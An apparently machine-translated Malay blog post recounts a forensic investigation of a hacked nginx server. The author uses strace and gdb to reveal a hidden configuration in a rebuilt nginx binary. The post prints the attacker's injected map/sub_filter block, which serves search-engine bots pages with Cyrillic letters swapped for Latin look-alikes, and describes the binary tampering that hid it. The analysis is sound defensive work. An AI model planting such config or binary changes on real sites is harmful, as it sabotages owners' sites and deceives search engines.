Apabila 'a' tidak sama dengan 'a'. Selepas hack

Satu kisah yang paling tidak menyenangkan berlaku kepada salah seorang kawan saya. Tetapi walaupun ia ternyata tidak menyenangkan untuk Mikhail, ia sama menghiburkan bagi saya.

Saya mesti mengatakan bahawa kawan saya agak UNIX-pengguna: boleh memasang sistem itu sendiri mysql, php dan buat tetapan mudah nginx.
Dan dia mempunyai sedozen atau satu setengah laman web khusus untuk alat pembinaan.

Salah satu tapak yang didedikasikan untuk gergaji berantai ini berada di TOP enjin carian. Tapak ini adalah pengulas bukan komersial, tetapi seseorang membiasakan diri untuk menyerangnya. Itu DDoS, kemudian kekerasan, kemudian mereka menulis komen lucah dan menghantar penyalahgunaan kepada pengacara dan kepada RKN.
Tiba-tiba, semuanya menjadi tenang dan ketenangan ini ternyata tidak baik, dan tapak itu mula beransur-ansur meninggalkan baris teratas hasil carian.

Apabila 'a' tidak sama dengan 'a'. Selepas hack

Itu pepatah, kemudian cerita admin sendiri.

Hampir waktu tidur apabila telefon berdering: “San, takkan awak tengok pelayan saya? Nampaknya saya telah digodam, saya tidak dapat membuktikannya, tetapi perasaan itu tidak meninggalkan saya untuk minggu ketiga. Mungkin sudah tiba masanya untuk saya mendapatkan rawatan untuk paranoia?”

Apa yang diikuti ialah perbincangan selama setengah jam yang boleh diringkaskan seperti berikut:

  • tanah untuk penggodaman agak subur;
  • penyerang boleh mendapat hak superuser;
  • serangan (jika ia berlaku) disasarkan secara khusus di tapak ini;
  • kawasan masalah telah diperbetulkan dan anda hanya perlu memahami sama ada terdapat sebarang penembusan;
  • penggodaman tidak boleh menjejaskan kod tapak dan pangkalan data.

Berkenaan point terakhir.

Apabila 'a' tidak sama dengan 'a'. Selepas hack

Hanya IP bahagian hadapan putih kelihatan ke dunia. Tiada pertukaran antara hujung belakang dan hujung hadapan kecuali http(s), pengguna/kata laluan berbeza, tiada kunci ditukar. Pada alamat kelabu, semua port kecuali 80/443 ditutup. IP belakang putih hanya diketahui oleh dua pengguna, yang dipercayai sepenuhnya oleh Mikhail.

Dipasang pada bahagian hadapan Debian 9 dan pada masa panggilan dibuat, sistem diasingkan daripada dunia oleh tembok api luaran dan dihentikan.

"Ok, berikan saya akses," saya memutuskan untuk menangguhkan tidur selama sejam. "Saya akan lihat dengan mata saya sendiri."

Di sini dan seterusnya:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Mencari kemungkinan hack

Saya memulakan pelayan, pertama masuk mod penyelamat. Saya memasang cakera dan menyelaknya pengesahan-balak, sejarah, log sistem, dsb., jika boleh, saya menyemak tarikh penciptaan fail, walaupun saya faham bahawa keropok biasa akan "menyapu" selepas dirinya, dan Misha telah banyak "memijak" semasa dia mencari dirinya .

Saya bermula dalam mod biasa, belum benar-benar memahami apa yang perlu dicari, saya mengkaji konfigurasi. Pertama sekali, saya berminat nginx memandangkan, secara amnya, tiada apa-apa lagi di bahagian hadapan kecuali ia.
Konfigurasinya kecil, tersusun dengan baik menjadi sedozen fail, saya hanya melihatnya kucing'oh satu persatu. Semuanya kelihatan bersih, tetapi anda tidak pernah tahu jika saya terlepas sesuatu termasuk, izinkan saya membuat senarai penuh:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Saya tidak faham: "Di manakah penyenaraian?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Soalan kedua ditambah pada soalan penyenaraian: "Mengapa versi kuno nginx?"

Di samping itu, sistem percaya bahawa versi terkini dipasang:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Saya sedang memanggil:
- Misha, kenapa awak berkumpul semula nginx?
- Tunggu, saya tidak tahu bagaimana untuk melakukan ini!
- Baiklah, pergi tidur...

Nginx ia jelas dibina semula dan output penyenaraian menggunakan "-T" disembunyikan atas sebab tertentu. Tidak ada lagi keraguan tentang penggodaman dan anda boleh menerimanya dan (sejak Misha menggantikan pelayan dengan yang baru pula) pertimbangkan masalah itu telah diselesaikan.

Dan sememangnya, sejak seseorang mendapat hak akar'ah, maka ia hanya masuk akal untuk dilakukan pemasangan semula sistem, dan tidak berguna untuk mencari apa yang salah di sana, tetapi kali ini rasa ingin tahu mengalahkan tidur. Bagaimanakah kita boleh mengetahui apa yang mereka ingin sembunyikan daripada kita?

Mari cuba jejak:

$ strace nginx -T

Kami melihatnya, jelas tidak cukup garisan dalam jejak a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Hanya untuk keseronokan, mari kita bandingkan penemuan.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Saya fikir sebahagian daripada kod /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

telah dibawa ke borang:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

atau

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

oleh itu penyenaraian mengikut "-T" tidak dipaparkan.

Tetapi bagaimana kita boleh melihat konfigurasi kita?

Jika pemikiran saya betul dan masalahnya hanya dalam pembolehubah ngx_dump_config mari cuba pasang menggunakan gdb, mujur ada kunci --dengan-cc-opt -g hadir dan berharap pengoptimuman itu -O2 ia tidak akan menyakiti kita. Pada masa yang sama, kerana saya tidak tahu bagaimana ngx_dump_config boleh diproses masuk kes 'T':, kami tidak akan memanggil blok ini, tetapi memasangnya menggunakan kes 't':

Mengapa anda boleh menggunakan '-t' serta '-T'Pemprosesan Blok if(ngx_dump_config) berlaku di dalam if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Sudah tentu, jika kod diubah dalam bahagian ini dan bukan dalam kes 'T':, maka kaedah saya tidak akan berfungsi.

Uji nginx.confSetelah menyelesaikan masalah secara eksperimen, telah ditetapkan bahawa konfigurasi minimum diperlukan untuk perisian hasad berfungsi nginx jenis:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Kami akan menggunakannya secara ringkas dalam artikel.

Lancarkan penyahpepijat

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Langkah-langkahnya:

  • tetapkan titik putus dalam fungsi main ()
  • melancarkan program tersebut
  • tukar nilai pembolehubah yang menentukan output konfigurasi ngx_dump_config=1
  • meneruskan/menamatkan program

Seperti yang dapat kita lihat, konfigurasi sebenar berbeza daripada konfigurasi kita, kita memilih sekeping parasit daripadanya:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Mari kita lihat apa yang berlaku di sini mengikut urutan.

Berazam Ejen Pengguna'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Halaman perkhidmatan dikecualikan wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Dan bagi mereka yang berada di bawah kedua-dua syarat di atas

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

dalam teks html-halaman berubah 'O' pada 'o' и 'A' pada 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Betul, satu-satunya kehalusan adalah itu 'a' != 'a' seperti 'o' != 'o':

Apabila 'a' tidak sama dengan 'a'. Selepas hack

Oleh itu, bot enjin carian menerima, bukannya teks Cyrillic 100% biasa, sampah diubah suai yang dicairkan dengan bahasa Latin 'a' и 'o'. Saya tidak berani membincangkan bagaimana ini memberi kesan kepada SEO, tetapi tidak mungkin gabungan surat sedemikian akan memberi kesan positif pada kedudukan dalam hasil carian.

Apa yang boleh saya katakan, lelaki yang mempunyai imaginasi.

rujukan

Menyahpepijat dengan GDB
gdb(1) — halaman manual Linux
strace(1) — halaman manual Linux
Nginx - Modul ngx_http_sub_module
Mengenai gergaji, gergaji rantai dan gergaji elektrik

Sumber: www.habr.com

Tambah komen